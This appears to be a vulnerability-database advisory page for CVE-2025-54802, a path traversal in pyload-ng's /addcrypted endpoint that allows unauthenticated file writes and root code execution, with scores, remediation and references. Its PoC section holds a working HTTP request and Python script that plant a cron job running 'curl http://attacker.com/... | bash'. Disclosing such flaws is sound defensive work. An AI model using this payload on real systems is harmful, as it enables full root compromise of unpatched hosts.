CVE-2025-54802 — Vulnerability in pyload-ng — CVE Details
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.84%). Schedule for your next planned update.
Does your project use an affected pyload-ng version?
Paste your requirements.txt to check it for CVE-2025-54802 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details
- Endpoint:
POST /addcrypted - Issue:
src/pyload/webui/app/blueprints/cnl_blueprint.py
Vulnerable Code
dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
with open(dlc_path, mode="wb") as fp:
PoC
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
Decoded payload:
* * * * * root curl -s http://attacker.com/r.sh | bash
Send crafted POST
import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={
"package": "../../../../etc/cron.d/exploit",
"crypted": b64
})
Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
Advisory Timeline
- First published August 4, 2025 (479 days ago).
- Last revised November 16, 2026 — 469 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pyload-ng>=0.5.0b3.dev90"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pyload-ng PyPI · Affected: 0.5.0a5.dev528, 0.5.0a5.dev532, 0.5.0a5.dev535, 0.5.0a5.dev536 (+90 more) | 0.5.0b3.dev90 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-54802ADVISORY
- https://github.com/pyload/pyload/pull/4596WEB
- https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4WEB
- https://github.com/pyload/pyloadPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-493.yamlWEB
- https://pypi.org/project/pyload-ngWEB
Frequently Asked Questions
- What is CVE-2025-54802?
- pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE). This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2025-54802?
- CVE-2025-54802 affects pyload-ng. It has a 1.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54802 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top quartile of EPSS-scored vulnerabilities — 79.5% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.
Also Known As
Related CVEs
- CVE-2024-32880CRITICAL
pyLoad allows upload to arbitrary folder lead to RCE
- CVE-2023-0435CRITICAL
Excessive Attack Surface in pyload-ng
- CVE-2026-35459CRITICAL
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
- CVE-2025-55156CRITICAL
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
- CVE-2026-35459CRITICAL
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
- CVE-2025-53890CRITICAL
pyLoad vulnerable to XSS through insecure CAPTCHA
- CVE-2026-33992CRITICAL
pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration
- CVE-2024-39205CRITICAL
pyload-ng vulnerable to RCE with js2py sandbox escape